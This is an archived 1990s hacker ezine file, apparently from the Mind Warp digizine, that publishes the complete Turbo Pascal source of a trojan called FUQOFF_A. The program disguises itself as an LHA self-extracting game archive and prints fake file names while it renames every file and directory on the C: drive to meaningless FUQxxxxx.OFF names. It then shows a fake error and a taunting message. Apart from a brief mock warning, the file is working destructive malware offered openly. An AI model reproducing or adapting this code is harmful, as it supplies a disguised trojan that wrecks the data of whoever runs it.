Copy Link
Add to Bookmark
Report

Mind Warp File 69

eZine's profile picture
Published in 
Mind Warp
 · 26 Apr 2019

  


%%% %%% %%%% %%% %% %%%%%
%%%% %%%% %% %%%% %% %% %%
%% %%% %% %% %% %% %% %% %%
%% % %% %% %% %%%% %% %%
%% %% %%%% %% %%% %%%%%

// // //// ////// ////// //
\\ \ \\ \\ \\ \\ \\ \\ \\ \\
// /// // //////// ////// ////// //
\\\\ \\\\ \\ \\ \\ \\ \\
/// /// // // // // // //

[ Mind Warp - Volume #4, Issue #14, File #069 ]
[ "huh 69 huh" by >Anonymous< ]
------------------------------------------------------------------------------
huh 69 huh
[Anonymous]
------------------------------------------------------------------------------

Woo! Mind Warp! digizine has reached it's 69th issue. To commemorate
this accomplishment, and this cool number, influenza inc. has donated some
k-rad turbo pascal source code. What's it do? It phucks your computer!
SHould you run it? NO. DO NOT COMPILE THIS! DO NOT RUN THIS! IT IS
BAD! Mind Warp! is NOT responsible for this! DO NOT COME RUNNING TO US!

(*-------------------------- CUT HERE ------------------------------------*)

(* FUQOFF_A Source Code *)
(* Copyright (c) 1994-1995 [infleunza inc] *)
(* Distribute all you want as long as NO CHANGES are made to the original *)
(* Source Code. *)

(* This code, once compiled and doctored with NoWhere Man's Virus Utility *)
(* package, emulates a 'warez' game that is in compressed form. *)
(* Specifically, a .LZH Executable. Once run, it begins renaming ALL *)
(* files encountered to the format FUQxxxxx.OFF until it completes the *)
(* hard drive, and then the program will spew a little message from the *)
(* [infleunza] coders. *)

(* Currently, this version ONLY infects the C:\ drive. *)
(* Mutations include *)
(* o FUQOFF_B (Infects D:\ Drive) *)
(* o FUQOFF_C (Infects A:\ Drive) *)
(* o FUQOFF_D (Infects B:\ Drive) *)
(* o NITRO (Infects A,B,C,D, new message string *)
(* o BUHFUQ (Infects C:\, new message string *)

uses crt,dos;

var wha:searchrec;
done:boolean;
f:file;
cur1,cur2,numba,loop:integer;
ext:array[1..5]of char;
new:string;
s:byte;
names:array[1..60]of string;


procedure fillnames;
begin
names[1]:='LASTRITE.EXE';
names[2]:='LASTRITE.DAT';
names[3]:='LASTRITE.DOC';
names[4]:='README.NOW';
names[5]:='CGAPICS1.DAT';
names[6]:='EGAPICS1.DAT';
names[7]:='VGAPICS1.DAT';
names[8]:='MCGAPIC1.DAT';
names[9]:='VESAPIC1.DAT';
names[10]:='CGAPICS2.DAT';
names[11]:='EGAPICS2.DAT';
names[12]:='VGAPICS2.DAT';
names[13]:='MCGAPIC2.DAT';
names[14]:='VESAPIC2.DAT';
names[15]:='CGAPIC3.DAT';
names[16]:='EGAPIC3.DAT';
names[17]:='VGAPIC3.DAT';
names[18]:='MCGA3.DAT';
names[19]:='VESAPIC3.DAT';
names[20]:='SBMUSIC.SND';
names[21]:='ADLMUSIC.SND';
names[22]:='INTRO.DAT';
names[23]:='VICTORY.SCN';
names[24]:='DEFEAT.SCN';
names[25]:='WAVES.DAT';
names[26]:='GAMES.DAT';
names[27]:='ORDER.NFO';
names[28]:='CONFIG.EXE';
names[29]:='SETUP.EXE';
names[30]:='3DBATTLE.BAT';
names[31]:='CGAPICS4.DAT';
names[32]:='EGAPICS4.DAT';
names[33]:='VGAPICS4.DAT';
names[34]:='MCGAPIC4.DAT';
names[35]:='VESAPIC4.DAT';
names[36]:='CGAPICS5.DAT';
names[37]:='EGAPICS5.DAT';
names[38]:='VGAPICS5.DAT';
names[39]:='MCGAPIC5.DAT';
names[40]:='VESAPIC5.DAT';
names[41]:='CGAPIC6.DAT';
names[42]:='EGAPIC6.DAT';
names[43]:='VGAPIC6.DAT';
names[44]:='MCGA6.DAT';
names[45]:='VESAPIC7.DAT';
names[46]:='CGAPICS8.DAT';
names[47]:='EGAPICS8.DAT';
names[48]:='VGAPICS8.DAT';
names[49]:='MCGAPIC8.DAT';
names[50]:='VESAPIC8.DAT';
names[51]:='CGAPICS9.DAT';
names[52]:='EGAPICS9.DAT';
names[53]:='VGAPICS9.DAT';
names[54]:='MCGAPIC9.DAT';
names[55]:='VESAPIC9.DAT';
names[56]:='CGAPIC10.DAT';
names[57]:='EGAPIC10.DAT';
names[58]:='VGAPIC10.DAT';
names[59]:='MCGA10.DAT';
names[60]:='VESAPC10.DAT';
cur1:=0;
cur2:=40;
end;

procedure stealth;
begin
if cur2=40 then begin
writeln;
cur1:=cur1+1;
if cur1=61 then cur1:=4;
write(names[cur1],' ');
cur2:=1;
end;
write('.');
cur2:=cur2+1;
end;

procedure makename(special:word);
begin
stealth;
case numba of
0..9:begin
for loop:=1 to 4 do ext[loop]:='0';
str(numba,new);
ext[5]:=new[1];
end;
10..99:begin
for loop:=1 to 3 do ext[loop]:='0';
str(numba,new);
ext[4]:=new[1];
ext[5]:=new[2];
end;
100..999:begin
ext[1]:='0';
ext[2]:='0';
str(numba,new);
for loop:=3 to 5 do ext[loop]:=new[loop-2];
end;
else
ext[1]:='0';
str(numba,new);
for loop:=2 to 5 do ext[loop]:=new[loop-1];
end;

findfirst('*.*',special,wha);
if special<>$10 then begin
if ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
repeat
findnext(wha);
until ((wha.name[1]<>'F') or (wha.name[2]<>'U') or (wha.name[3]<>'Q')) or (doserror<>0);
end else begin

findfirst('*.*',$10,wha);
if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
repeat
findnext(wha);
until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
(wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
or (wha.name[3]<>'Q')));
end;
if (doserror=0) then begin
assign(f,wha.name);
if ('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF')<>wha.name then
rename(f,'FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF');
numba:=numba+1;
end;
end;

procedure changeit;
begin
repeat
findfirst('*.*',archive,wha);
if (doserror=0) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
or (wha.name[3]<>'Q')) then
repeat
makename($20);
until doserror<>0;
findfirst('*.*',$10,wha);
if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
repeat
findnext(wha);
until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
(wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
or (wha.name[3]<>'Q')));
if doserror<>0 then begin
getdir(s,new);
if new='C:\' then done:=true else chdir('..') {change to C:\}
end else
if (wha.name<>'.') and (wha.name<>'..') then begin
makename($10);
chdir('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'.OFF');
end;
until (doserror<>0) and (done=true);
end;

begin
textcolor(white);
fillnames;
writeln('LHA',chr(39),'S SFX 2.13s (c) Yoshi, 1991');
writeln;
chdir('c:\');
s:=3;
numba:=0;
changeit;
writeln;
writeln('Error! Archive Damaged. Error Code 16!');
writeln('ERR 16 - ????');
writeln; writeln; writeln;
writeln('ERR 1 = Bad CRC Check');
writeln('ERR 2 = Missing CRC''s');
writeln('ERR 3 - 14 = File size misreport! <specified>');
writeln('ERR 15 = No files found.');
writeln('ERR 16 = iNFeCTiON [infleunza]');
writeln; writeln;
writeln('Should have taken your flu shot...95 is gonna be a bitch.');
writeln('mustaine [infleunza]...KiCKiN'' iT FRoM CoLLEGE');
end.

(*-------------------------- CUT HERE ------------------------------------*)

==============================================================================
Call Omniverse, the Mind Warp WHQ - (301) 718-0225
==============================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT